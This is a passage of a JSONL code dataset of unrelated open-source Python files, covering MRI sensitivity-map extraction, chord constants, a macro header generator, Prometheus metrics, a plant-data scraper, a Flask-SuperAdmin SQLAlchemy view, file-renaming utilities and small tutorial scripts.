tf.meshgrid(x_range, y_range)\n X_range = tf.reshape(X_range, (-1,))\n Y_range = tf.reshape(Y_range, (-1,))\n low_freq_mask_indices = tf.stack([X_range, Y_range], axis=-1)\n # we have to transpose because only the first dimension can be indexed in\n # scatter_nd\n scatter_nd_perm = [2, 3, 0, 1]\n low_freq_mask = tf.scatter_nd(\n indices=low_freq_mask_indices,\n updates=tf.ones([\n tf.size(X_range),\n tf.shape(kspace)[0],\n tf.shape(kspace)[1]],\n ),\n shape=[tf.shape(kspace)[i] for i in scatter_nd_perm],\n )\n low_freq_mask = tf.transpose(low_freq_mask, perm=scatter_nd_perm)\n ###\n low_freq_kspace = kspace * tf.cast(low_freq_mask, kspace.dtype)\n coil_image_low_freq = tf_ortho_ifft2d(low_freq_kspace)\n # no need to norm this since they all have the same norm\n low_freq_rss = tf.norm(coil_image_low_freq, axis=1)\n coil_smap = coil_image_low_freq / low_freq_rss[:, None]\n # for now we do not perform background removal based on low_freq_rss\n # could be done with 1D k-means or fixed background_thresh, with tf.where\n else:\n coil_smap = tf.zeros_like(kspace, dtype=kspace.dtype)\n return coil_smap\n\n\ndef non_cartesian_extract_smaps(kspace, trajs, dcomp, nufft_back, shape, low_freq_percentage=8):\n def _crop_for_pad(image, shape, im_size):\n to_pad = im_size[-1] - shape[0]\n cropped_image = image[..., to_pad//2:-to_pad//2]\n return cropped_image\n cutoff_freq = low_freq_percentage / 200 * tf.constant(pi)\n # Get the boolean mask for low frequency\n low_freq_bool_mask = tf.math.reduce_all(tf.math.less_equal(tf.abs(trajs[0]), cutoff_freq), axis=0)\n # Obtain the trajectory, kspace and density compensation for low frequency\n low_freq_traj = tf.boolean_mask(trajs, low_freq_bool_mask, axis=2)\n low_freq_kspace = tf.boolean_mask(kspace, low_freq_bool_mask, axis=2)\n low_freq_dcomp = tf.boolean_mask(dcomp, low_freq_bool_mask, axis=1)[:, None]\n coil_smap = nufft_back(low_freq_kspace * tf.cast(low_freq_dcomp, kspace.dtype), low_freq_traj)\n coil_smap = tf.cond(\n tf.math.greater_equal(shape[0], coil_smap.shape[-1]),\n lambda: coil_smap,\n lambda: _crop_for_pad(coil_smap, shape, coil_smap.shape),\n )\n low_freq_rss = tf.norm(coil_smap, axis=1)\n coil_smap = coil_smap / low_freq_rss[:, None]\n return coil_smap\n","repo_name":"zaccharieramzi/fastmri-reproducible-benchmark","sub_path":"fastmri_recon/data/utils/multicoil/smap_extract.py","file_name":"smap_extract.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"44"} +{"seq_id":"34836472215","text":"\"\"\"\r\nContains various literals that are used for computations throughout the library.\r\n\r\n* `REPETITION_SYMBOL` (`str`): The symbol that's used to indicate repetition in textual representations of chord progressions.\r\n* `MAJOR_SCALE_OFFSETS` (`Dict[int, int]`): Maps the scale degrees of the major scale to number of semitones from the root.\r\n* `ACCIDENTALS` (`Set[str]`): The set of accidentals.\r\n* `MAJOR_FROM_C` (`List[str]`): A list of the 7 note names in the C major scale.\r\n* `CHROMATIC` (`List[str]`): A list of the 12 chromatic notes starting from C. Only sharp notes are included here.\r\n* `ENHARMONIC` (`List[Tuple[str, str]])`): A list of the 5 pairs of enharmonic note names.\r\n* `CHORD_NAMES` (`Dict[str, List[str]]`): Maps chord names to the list of scale degrees in the chord, not including the root.\r\n* `CHORD_ALIASES`: (`Dict[str, str]`): Maps alternative chord names to the canonical chord name in `CHORD_NAMES`.\r\n* `DYADS`: (`Dict[int, str]`): A collection of two-note chords with names. Maps the number of semitones between the root and the other note to the chord name.\r\n* `TRIADS_WITH_FIFTH` (`Dict[int, str]`): A collection of three-note chords with names. All of these triads include a fifth. Maps the semitone that is not the root or the fifth to the chord name.\r\n\"\"\"\r\nREPETITION_SYMBOL = \"--\"\r\nMAJOR_SCALE_OFFSETS = {1: 0, 2: 2, 3: 4, 4: 5, 5: 7, 6: 9, 7: 11}\r\nACCIDENTALS = {\"b\", \"#\"}\r\nMAJOR_FROM_C = [\"C\", \"D\", \"E\", \"F\", \"G\", \"A\", \"B\"]\r\nROMAN = [\"III\", \"IV\", \"II\", \"I\", \"VII\", \"VI\", \"V\"]\r\nLETTERS = ROMAN + MAJOR_FROM_C\r\nCHROMATIC = [\"C\", \"C#\", \"D\", \"D#\", \"E\", \"F\", \"F#\", \"G\", \"G#\", \"A\", \"A#\", \"B\"]\r\nENHARMONIC = [(\"C#\", \"Db\"), (\"D#\", \"Eb\"), (\"F#\", \"Gb\"), (\"G#\", \"Ab\"), (\"A#\", \"Bb\")]\r\nCHORD_NAMES = {\r\n # Major\r\n \"maj\": [\"3\", \"5\"],\r\n \"maj7\": [\"3\", \"5\", \"7\"],\r\n \"maj9\": [\"3\", \"5\", \"7\", \"9\"],\r\n \"maj11\": [\"3\", \"5\", \"7\", \"9\", \"11\"],\r\n \"maj13\": [\"3\", \"5\", \"7\", \"9\", \"11\", \"13\"],\r\n \"6\": [\"3\", \"5\", \"6\"],\r\n \"69\": [\"3\", \"5\", \"6\", \"9\"],\r\n \"5\": [\"5\"],\r\n # Dominant\r\n \"7\": [\"3\", \"5\", \"b7\"],\r\n \"9\": [\"3\", \"5\", \"b7\", \"9\"],\r\n \"11\": [\"3\", \"5\", \"b7\", \"9\", \"11\"],\r\n \"13\": [\"3\", \"5\", \"b7\", \"9\", \"11\", \"13\"],\r\n # Minor\r\n \"m\": [\"b3\", \"5\"],\r\n \"m6\": [\"b3\", \"5\", \"6\"],\r\n \"m7\": [\"b3\", \"5\", \"b7\"],\r\n \"m9\": [\"b3\", \"5\", \"b7\", \"9\"],\r\n \"m11\": [\"b3\", \"5\", \"b7\", \"9\", \"11\"],\r\n \"m13\": [\"b3\", \"5\", \"b7\", \"9\", \"11\", \"13\"],\r\n # Diminished\r\n \"dim\": [\"b3\", \"b5\"],\r\n \"m7b5\": [\"b3\", \"b5\", \"b7\"],\r\n \"dim7\": [\"b3\", \"b5\", \"bb7\"],\r\n # Augmented\r\n \"aug\": [\"3\", \"#5\"],\r\n # Suspended\r\n \"7sus2\": [\"2\", \"5\", \"b7\"],\r\n \"7sus4\": [\"4\", \"5\", \"b7\"],\r\n # Note\r\n \"n\": [],\r\n}\r\nCHORD_ALIASES = {\r\n # Major\r\n \"major\": \"maj\",\r\n \"maj\": \"maj\",\r\n # Minor\r\n \"-\": \"m\",\r\n \"min\": \"m\",\r\n \"minor\": \"m\",\r\n # Dominant\r\n \"dom\": \"7\",\r\n # Diminished\r\n \"o\": \"dim7\",\r\n \"ø\": \"m7b5\",\r\n # Augmented\r\n \"+\": \"aug\",\r\n # Note\r\n \"note\": \"n\",\r\n}\r\nDYADS = {3: \"min(no5)\", 4: \"(no5)\", 7: \"5\"}\r\nTRIADS_WITH_FIFTH = {\r\n 1: \"phryg\",\r\n 2: \"sus2\",\r\n 3: \"min\",\r\n 4: \"\",\r\n 5: \"sus4\",\r\n 6: \"lyd\",\r\n 8: \"b6(no3)\",\r\n 9: \"6(no3)\",\r\n 10: \"7(no3)\",\r\n 11: \"maj7(no3)\",\r\n}\r\n","repo_name":"jonathangjertsen/jchord","sub_path":"jchord/knowledge.py","file_name":"knowledge.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"38115097839","text":"from typing import List\n\nimport os\nimport string\n\nfrom abc import ABC, abstractmethod\n\n\nclass Generator(ABC):\n\n def __init__(self, name: str) -> None:\n # basic\n self.name = name\n\n # derived\n self.path = 'generated/{}.h'.format(self.name)\n self.mark = '_RACER_SPEC_{}_H_'.format(self.name.upper())\n\n def gen_warning(self) -> List[str]:\n return [\n '/* AUTO-GENERATED ({}) - DO NOT EDIT */'.format(self.name)\n ]\n\n def gen_mark_header(self) -> List[str]:\n return [\n '#ifndef {}'.format(self.mark),\n '#define {}'.format(self.mark),\n ]\n\n def gen_mark_footer(self) -> List[str]:\n return [\n '#endif /* {} */'.format(self.mark),\n ]\n\n @abstractmethod\n def generate(self) -> str:\n raise RuntimeError('Method not implemented')\n\n def save(self) -> None:\n os.makedirs(os.path.dirname(self.path), exist_ok=True)\n with open(self.path, 'w') as f:\n f.write(self.generate())\n\n\nclass Generator_VARDEF(Generator):\n CHARSET = string.ascii_uppercase\n\n def __init__(self, num_group: int, max_group_size: int) -> None:\n super(Generator_VARDEF, self).__init__('vardef')\n self.num_group = num_group\n self.max_group_size = max_group_size\n\n def gen_ignore(self) -> List[str]:\n return [\n '#define _VARDEF_IGNORE(...) static_assert(false)'\n ]\n\n def gen_pack(self, num_group: int, group_size: int) -> List[str]:\n exprs = [] # type: List[str]\n\n # common\n vardef = 'VARDEF{}'.format(group_size)\n prefix = '_' + vardef + '_'\n\n # generate SELECT\n elems = [] # type: List[str]\n for i in range(num_group + 1):\n for j in range(group_size):\n elems.append('{}{}'.format(Generator_VARDEF.CHARSET[j], i))\n\n exprs.append(\n '#define {}SELECT({}, N, ...) N'.format(\n prefix, ', '.join(elems)\n )\n )\n\n # generate GROUP_X\n arg_group = ', '.join([\n Generator_VARDEF.CHARSET[j] for j in range(group_size)\n ])\n\n exprs.append(\n '#define {}GROUP0(Func, None, ...) None'.format(\n prefix\n )\n )\n for i in range(1, num_group + 1, 1):\n exprs.append(' '.join([\n '#define',\n '{}GROUP{}(Func, None, {}, ...)'.format(prefix, i, arg_group),\n 'Func({})'.format(arg_group),\n '{}GROUP{}(Func, None, __VA_ARGS__)'.format(prefix, i - 1),\n ]))\n\n # generate VARDEF\n exprs.append(' '.join([\n '#define',\n '{}(Func, None, ...)'.format(vardef),\n '{}SELECT(, , ##__VA_ARGS__, {})(Func, None, __VA_ARGS__)'.format(\n prefix, ', '.join([\n '{}GROUP{}'.format(prefix, i) +\n ', _VARDEF_IGNORE' * (group_size - 1)\n for i in range(num_group, -1, -1)\n ])\n )\n ]))\n\n return exprs\n\n def generate(self) -> str:\n exprs = self.gen_warning()\n exprs += self.gen_mark_header()\n exprs += self.gen_ignore()\n for i in range(1, self.max_group_size + 1, 1):\n exprs += self.gen_pack(self.num_group, i)\n exprs += self.gen_mark_footer()\n return '\\n'.join(exprs)\n\n\nif __name__ == '__main__':\n g = Generator_VARDEF(num_group=8, max_group_size=6)\n g.save()\n","repo_name":"sslab-gatech/krace","sub_path":"kernel/spec/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"73043651652","text":"stack1 = [7]\nstack2 = []\nstack3 = [9]\nstack4 = \"\"\n\nwhile len(stack1) > 0 or len(stack2) > 0 or len(stack3) > 0:\n l1, l2, l3 = len(stack1)-1, len(stack2)-1, len(stack3)-1\n n1, n2, n3 = -1, -1, -1\n if l1 >= 0:\n n1 = stack1[l1]\n if l2 >= 0:\n n2 = stack2[l2]\n if l3 >= 0:\n n3 = stack3[l3]\n\n comp = [(n1, 1), (n2, 2), (n3, 3)]\n comp.sort(reverse=True)\n print(comp)\n if comp[0][1] == 1:\n stack1.pop()\n elif comp[0][1] == 2:\n stack2.pop()\n elif comp[0][1] == 3:\n stack3.pop()\n stack4 += str(comp[0][1])\n\n\nprint(int(stack4))\n","repo_name":"jjongwa/Algorithm-Practice","sub_path":"1021-1.py","file_name":"1021-1.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3153065798","text":"import contextlib\nimport functools\nimport time\n\nimport aiohttp\nfrom aiohttp import web\n\nimport prometheus_client\nimport prometheus_client.openmetrics.exposition\n\n\nclass PrometheusMetrics:\n def __init__(self, registry=None):\n super().__init__()\n self.registry = registry or prometheus_client.REGISTRY\n self._response_time_metric = prometheus_client.Summary(\n \"muclumbus_http_response_seconds\",\n \"Monotonic time passed for processing a reqeust\",\n [\"endpoint\", \"http_status\"]\n )\n self._existence_metric = prometheus_client.Gauge(\n \"muclumbus_http_endpoint_flag\",\n \"Existence of an endpoint in the code\",\n [\"endpoint\"],\n )\n # self.registry.register(self)\n\n self.handle_metrics = self.observe(\"metrics\", self.handle_metrics)\n\n def observe(self, endpoint, f):\n self._existence_metric.labels(\"metrics\").set(1)\n\n @functools.wraps(f)\n async def wrapped(*args, **kwargs):\n t0 = time.monotonic()\n status_code = 500\n try:\n response = await f(*args, **kwargs)\n status_code = response.status\n return response\n finally:\n t1 = time.monotonic()\n self._response_time_metric.labels(\n endpoint, str(status_code)\n ).observe(t1-t0)\n\n return wrapped\n\n def collect(self):\n yield self._existence_metric\n yield self._response_time_metric\n\n async def handle_metrics(self, request):\n content_type = \\\n prometheus_client.openmetrics.exposition.CONTENT_TYPE_LATEST\n encoder = prometheus_client.openmetrics.exposition.generate_latest\n return web.Response(\n body=encoder(self.registry),\n status=200,\n content_type=content_type.replace(\"; charset=utf-8\", \"\"),\n charset=\"utf-8\",\n )\n\n\ndef make_app(endpoint):\n app = web.Application()\n app.add_routes([web.get(\"/metrics\", endpoint.handle_metrics)])\n return app\n\n\nasync def start_app(app, bind_host, bind_port):\n runner = web.AppRunner(app)\n await runner.setup()\n site = web.TCPSite(runner, bind_host, bind_port)\n await site.start()\n return runner\n","repo_name":"horazont/muchopper","sub_path":"muchopper/bot/prometheus.py","file_name":"prometheus.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"44"} +{"seq_id":"5266111732","text":"#%%\nimport time\n\nimport pandas as pd\nimport requests\n\n#%%\n# Load plant ids and put them into a list for later use\nplant_ids = pd.read_csv(\n \"./csv/unique_plants_ids.csv\", squeeze=True, header=None\n).tolist()\n#%%\n# Iterate over plant ids to pull details for each plant id, and then store them for later use\nplants_details = []\n\nfor id in plant_ids:\n url = f\"https://plants.rhs.org.uk/api/plant/details/{id}\"\n\n headers = {\n \"authority\": \"plants.rhs.org.uk\",\n \"accept\": \"application/json, text/plain, */*\",\n \"accept-language\": \"it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7\",\n \"authorization\": \"\",\n \"content-length\": \"0\",\n \"content-type\": \"application/json\",\n \"origin\": \"https://www.rhs.org.uk\",\n \"referer\": \"https://www.rhs.org.uk/\",\n \"sec-ch-ua\": '\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"',\n \"sec-ch-ua-mobile\": \"?0\",\n \"sec-ch-ua-platform\": '\"macOS\"',\n \"sec-fetch-dest\": \"empty\",\n \"sec-fetch-mode\": \"cors\",\n \"sec-fetch-site\": \"same-site\",\n \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\",\n }\n\n response = requests.request(\"POST\", url, headers=headers)\n data = response.json()\n plants_details.append(data)\n time.sleep(1) # Throttle api requests to avoid potential issues\n\n# %%\nplants_df = pd.json_normalize(plants_details)\nplants_df.to_csv(\"./csv/plants_data.csv\")\n\n# %%\n","repo_name":"Newtoniano/rhsplantscrape","sub_path":"plant_details.py","file_name":"plant_details.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28074409220","text":"from http.server import BaseHTTPRequestHandler\r\nfrom datetime import datetime\r\n\r\nclass handler(BaseHTTPRequestHandler):\r\n\r\n # def do_POST(self):\r\n # content_len = int(self.headers.get('Content-Length'))\r\n # self.name = self.rfile.read(content_len)\r\n\r\n\r\n def do_GET(self):\r\n self.send_response(200)\r\n self.send_header('Content-type', 'text/plain')\r\n self.end_headers()\r\n name = \"kalb\"\r\n string = \"Yoooo how's it going \" + name + \". U suck!\"\r\n self.wfile.write(self.responses.encode())\r\n return ","repo_name":"MarkSedhom1005166721/enactus-friends.github.io","sub_path":"docs/api/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"106425426","text":"from sqlalchemy.sql.expression import desc, literal_column, or_\n\nfrom orm import model_form, AdminModelConverter\n\nfrom flask_superadmin.model.base import BaseModelAdmin\nfrom sqlalchemy import schema\n\n\nclass ModelAdmin(BaseModelAdmin):\n hide_backrefs = False\n\n def __init__(self, model, session=None,\n *args, **kwargs):\n super(ModelAdmin, self).__init__(model, *args, **kwargs)\n if session:\n self.session = session\n self._primary_key = self.pk_key\n\n @staticmethod\n def model_detect(model):\n return isinstance(getattr(model, 'metadata', None), schema.MetaData)\n\n def _get_model_iterator(self, model=None):\n \"\"\"\n Return property iterator for the model\n \"\"\"\n if model is None:\n model = self.model\n\n return model._sa_class_manager.mapper.iterate_properties\n\n @property\n def pk_key(self):\n for p in self._get_model_iterator():\n if hasattr(p, 'columns'):\n for c in p.columns:\n if c.primary_key:\n return p.key\n\n def allow_pk(self):\n return False\n\n def get_model_form(self):\n return model_form\n\n def get_converter(self):\n return AdminModelConverter(self)\n\n @property\n def query(self):\n return self.get_queryset() # TODO remove eventually (kept for backwards compatibility)\n\n def get_queryset(self):\n return self.session.query(self.model)\n\n def get_objects(self, *pks):\n id = self.get_pk(self.model)\n return self.get_queryset().filter(id.in_(pks))\n\n def get_object(self, pk):\n return self.get_queryset().get(pk)\n\n def get_pk(self, instance):\n return getattr(instance, self._primary_key)\n\n def save_model(self, instance, form, adding=False):\n form.populate_obj(instance)\n if adding:\n self.session.add(instance)\n self.session.commit()\n return instance\n\n def delete_models(self, *pks):\n objs = self.get_objects(*pks)\n [self.session.delete(x) for x in objs]\n self.session.commit()\n return True\n\n def construct_search(self, field_name, op=None):\n if op == '^':\n return literal_column(field_name).startswith\n elif op == '=':\n return literal_column(field_name).op('=')\n else:\n return literal_column(field_name).contains\n\n def apply_search(self, qs, search_query):\n or_queries = []\n # treat spaces as if they were OR operators\n for word in search_query.split():\n op = word[:1]\n if op in ['^', '=']:\n word = word[1:]\n orm_lookups = [self.construct_search(str(model_field), op)\n for model_field in self.search_fields]\n or_queries.extend([orm_lookup(word) for orm_lookup in orm_lookups])\n if or_queries:\n qs = qs.filter(or_(*or_queries))\n return qs\n\n def get_list(self, page=0, sort=None, sort_desc=None, execute=False, search_query=None):\n qs = self.get_queryset()\n\n # Filter by search query\n if search_query and self.search_fields:\n qs = self.apply_search(qs, search_query)\n\n #Calculate number of rows\n count = qs.count()\n\n #Order queryset\n if sort:\n if sort_desc:\n sort = desc(sort)\n qs = qs.order_by(sort)\n\n # Pagination\n if page is not None:\n qs = qs.offset(page * self.list_per_page)\n\n qs = qs.limit(self.list_per_page)\n\n if execute:\n qs = qs.all()\n\n return count, qs\n","repo_name":"syrusakbary/Flask-SuperAdmin","sub_path":"flask_superadmin/model/backends/sqlalchemy/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":636,"dataset":"github-code","pt":"44"} +{"seq_id":"20431624350","text":"# use snake case names\n# functions\n# getFileNamesInDir\n# file_renamer: file_path, new_name\n# file_name_purifier: file_name, chars_to_remove_from_file_name\n# directory_purifier: directory_name, chars_to_remove_fromfile_names\n\nimport os\n\ndef directory_purifier(directory_name, chars_to_remove_from_file_names, dry_run= True):\n\n files = os.listdir(directory_name)\n files_renamed = []\n\n for file_name in files:\n new_file_name = file_name_purifier(file_name, chars_to_remove_from_file_names)\n if new_file_name != file_name:\n print(\"new file name: \", new_file_name, \"old file name: \", file_name)\n files_renamed.append((file_name, new_file_name))\n file_path = os.path.join(directory_name, file_name)\n if not dry_run:\n rename_file(file_path, new_file_name)\n print(f\"Renamed file {file_name} to {new_file_name} (dry run)\")\n\n return files_renamed\n\n\ndef directory_files_renamed_sequentially_by_last_edit(directory_path, ascending=False, dry_run = True):\n\n files_sorted_by_last_edit = directory_files_sorted_by_newest_edit(directory_path)\n new_old_file_names = add_no_to_sorted_file_names(files_sorted_by_last_edit, ascending=ascending)\n if dry_run:\n return new_old_file_names\n rename_directory_files(directory_path, new_old_file_names)\n\n \n\ndef rename_file(file_path, new_name):\n os.rename(file_path, os.path.join(os.path.dirname(file_path), new_name))\n\ndef file_name_purifier(file_name, chars_to_remove_from_file_name):\n file_name = file_name.replace(chars_to_remove_from_file_name, '')\n return file_name\n\n\ndef directory_files_sorted_by_newest_edit(directory_path):\n \"sorted by oldest edit first\"\n directory_list = os.listdir(directory_path)\n\n sorted_directory_list = sorted(directory_list, \n key=lambda x: os.path.getmtime(os.path.join(directory_path, x)))\n\n return sorted_directory_list\n\ndef add_no_to_sorted_file_names(file_names_sorted_in_descending, ascending=False):\n \n if not ascending: # descending\n file_names_sorted_in_descending.reverse()\n\n numbered_file_names = [(name, f\"{i+1}_{name}\") for i, name in enumerate(file_names_sorted_in_descending)]\n\n return numbered_file_names\n\ndef rename_directory_files(directory_path, old_new_file_names):\n for old_file_name, new_file_name in old_new_file_names:\n rename_file(os.path.join(directory_path, old_file_name), new_file_name)\n\n\ndef main():\n # tmpdir = ~/tmp\n tmpdir = os.path.expanduser(\"~/tmp\")\n print(directory_files_renamed_sequentially_by_last_edit(tmpdir, ascending=True, dry_run=True))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Haiz14/lesley","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"75214323013","text":"import os\nimport shutil\nfrom datetime import date\n\ndef content_data(f,path):\n #get year, month, date from file\n content_date = date.fromtimestamp(os.stat(path + os.sep + f).st_mtime)\n #st_mtime should be replaced with information from tag file\n y,m,d = content_date.year, content_date.month, content_date.day\n if m < 10:\n m = '0'+ str(m)\n if d < 10:\n d = '0' + str(d)\n return y,m,d\ndef filter_function(x): return (x.count('.') == 1)\n\ndef rename_files(path):\n#rename files in new directory\n files = os.listdir(path)\n for f in filter(filter_function,files):\n print (f)\n y,m,d = content_data(f,path)\n f_name, f_ext = f.split('.')\n f_new = \"\".join([f_name,'_',str(y),str(m),str(d),'.',f_ext])\n src = path + os.sep + f\n src_new = path + os.sep + f_new\n try:\n os.rename(src,src_new)\n except OSError as o:\n print (f_new, \"cannot be renamed\")\n print (o)\n \ndef import_sony_pictures():\n # import from config file\n pic_path = r'C:\\Users\\Julia\\Pictures'\n \n pic_dirs = os.listdir(pic_path)\n sony_dirs = [ x for x in pic_dirs if (x.endswith('2014') or x.endswith('2015'))]\n \n print (sony_dirs)\n \n for d in sony_dirs:\n day,m,y = d.split('.')\n #replace by os.path.join\n old_dir = \"\".join([pic_path,os.sep,d])\n new_dir_part = \"\".join([y,m,day])\n #replace by os.path.join \n new_dir = \"\".join([pic_path,os.sep,new_dir_part,os.sep])\n print (old_dir)\n print (new_dir)\n if new_dir_part not in pic_dirs:\n #rename directory\n os.rename(old_dir,new_dir)\n rename_files(new_dir)\n else:\n #copy files\n print (new_dir, ' already exisits')\n files = os.listdir(old_dir)\n for f in filter(filter_function,files):\n print (f)\n y,m,d = content_data(f,old_dir)\n f_name, f_ext = f.split('.')\n f_new = \"\".join([f_name,'_',str(y),str(m),str(d),'.',f_ext])\n src = old_dir + os.sep + f\n src_new = old_dir + os.sep + f_new\n try:\n os.rename(src,src_new)\n shutil.move(src_new,new_dir)\n except OSError as o:\n print (f_new, \"cannot be renamed\")\n print (o)\n except shutil.Error:\n print (f, \" already exists in \", new_dir)\n \nif __name__ == \"__main__\":\n import_sony_pictures()\n","repo_name":"andilama/tools","sub_path":"sony_dirs.py","file_name":"sony_dirs.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23103670599","text":"import psycopg2\nfrom psycopg2 import Error\n\nusers = (\n (5,'mery','walker', 45),\n (6,'elsa','princess',21)\n)\n\n\ntry:\n #connect to an existing database\n connection = psycopg2.connect( \n user = \"postgres\",\n password = \"123\",\n #host = \"127.0.0.1\",\n host = \"localhost\",\n port = \"5432\",\n database = \"FS103\"\n )\n if(connection):\n print(\"Connection success\")\n cursor = connection.cursor()\n \n # create_table_query = '''CREATE TABLE IF NOT EXISTS Users\n # (ID INT PRIMARY KEY NOT NULL,\n # first_name character varying(50) NOT NULL,\n # last_name character varying(50) NOT NULL,\n # age INT NOT NULL);'''\n\n #execute a command \n #cursor.execute(create_table_query)\n #print(\"Table Created Successfully\")\n #insert records into table\n # insert_table_query = '''\n # INSERT INTO users(ID,first_name,last_name,age)\n # Values (3, 'Johnny', 'Walker' ,35),\n # (4, 'Lisa', 'Chan',30);'''\n # cursor.execute(insert_table_query)\n # print(\"to check records\")\n # count = cursor.rowcount\n # connection.commit()\n #print(count,\"records Inserted Successfully\") \n # query = \"INSERT into users(ID,first_name,last_name,age) VALUES(%s,%s,%s,%s)\"\n # cursor.executemany(query,users)\n # count = cursor.rowcount\n # connection.commit()\n # print(count,\"records inserted successfully\")\n\n select_query = \"Select * from users order by first_name asc\"\n cursor.execute(select_query)\n data_fetch = cursor.fetchall()\n # record = [record for record in data_fetch]\n for row in data_fetch:\n print(\"data from table\",row)\nexcept (Exception, Error) as error:\n print(\"Error while connecting to PostgreSQL\", error)\nfinally:\n if (connection):\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed\")","repo_name":"chichao89/FS104_CC","sub_path":"session7_07012021/dbEight.py","file_name":"dbEight.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30838324530","text":"from random import randint\r\n\r\nchoises = [\"rock\",\"paper\",\"scissors\"]\r\ndef Main_game():\r\n computer = choises[randint(0,2)] #The randint is basically for the computer choosing a random number\r\n\r\n print(\"Welcome to the rock paper scissors game\\n\")\r\n player = input(\"Your choice: \").lower() #this line o code is so that you can write in the console\r\n print(\"computer choose: \" + computer)\r\n\r\n if player == computer:\r\n print(\"DRAW!\")\r\n elif player == \"rock\" and computer == \"paper\":\r\n print(\"player lose\")\r\n elif player == \"rock\" and computer == \"scissors\":\r\n print(\"player wins\")\r\n elif player == \"paper\" and computer == \"scissors\":\r\n print(\"player lose\")\r\n elif player == \"paper\" and computer == \"rock\":\r\n print(\"player wins\")\r\n elif player == \"scissors\" and computer == \"rock\":\r\n print(\"player lose\")\r\n elif player == \"scissors\" and computer == \"paper\":\r\n print(\"player wins\")\r\n \r\n Main_game()\r\n\r\nMain_game()\r\n\r\n\r\n","repo_name":"Sauceface400/turorials","sub_path":"python learning course/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8482336998","text":"# Crie um programa que leia dois números e mostre a soma entre eles.\n\n# variaveis que recebem dois numeros\nn1 = int(input('Digite o primeiro número: '))\nn2 = int(input('Digite o segundo número: '))\n\n# variavel de soma, onde soma os valores digitados pelo usuário.\nsoma = n1 + n2\n\n# printa os valores e o resultado na tela\nprint(f'A soma entre {n1} e {n2} é: {soma}')","repo_name":"RodrigoArgenton/testepython","sub_path":"1 - Mundo 1/1 - Primeiros passos/desafio3.py","file_name":"desafio3.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"72714681319","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\n\nfrom datetime import datetime\n\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef hello_world():\n logger.info(\"Hello World\")\n\n\n# Define a DAG\ndag_1 = DAG(\"dag_1\",\n start_date=datetime(2020, 6, 7),\n schedule_interval=\"@daily\") # @once, @hourly, @daily, @weekly, @monthly, @yearly, none\n\ntask_1 = PythonOperator(\n task_id=\"hello world\",\n description=\"task for dag\",\n python_callable=hello_world,\n dag=dag_1\n)\n\n# task_2\n# if task_2 depends on task_1\n# task_1 >> task_2","repo_name":"kfaheem/backpack","sub_path":"DataEngineerNanoDegree/Project5-Airflow/airflow/airflow.py","file_name":"airflow.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29278051807","text":"# !/usr/bin/python3\nfrom tkinter import *\nfrom tkinter import messagebox\n\ntop = Tk()\n\ntop.geometry(\"200x200\")\n\ndef helloCallBack():\n msg=messagebox.showinfo( \"Home\", \"Welcome to Python GUI World\")\n\n\nB = Button(top, text =\"CLICK TO LOGIN\", command = helloCallBack)\n\nB.place(x=0,y=0)\n\ntop.mainloop()\n\n","repo_name":"ambicachouta/Python2018","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9698356800","text":"#!/usr/bin/python3\n\n\"\"\"\n\tMeasuring time for any process(es)\n\thelps you to take a look on the\n\tefficiency of your code.\n\n\tvideo tutorial:\thttps://youtu.be/AK44C_uZ9u4\n\ttimestamp:\t\t04:39:53\n\"\"\"\n\n#\t-----------\n#\tthere're two ways\n#\tfor time measurement:\n#\n#\ttime module\n#\ttimeit module\n#\t-----------\nimport time as t\n\n\"\"\"\n\tcalculating the fibonacci series\n\tattention: if you have ENOUGH time in your life, or if you\n\twant to see the death of the sun,\n\tthen you also >could< try to use a value of 50 or higher :o)\n\n\tFn = Fn-1 + Fn-2\n\tF0 = 0 and F1 = 1\n\"\"\"\ndef fibonacci(a):\n\tif a == 0:\n\t\treturn 0\n\t#end if\n\n\tif a == 1 or 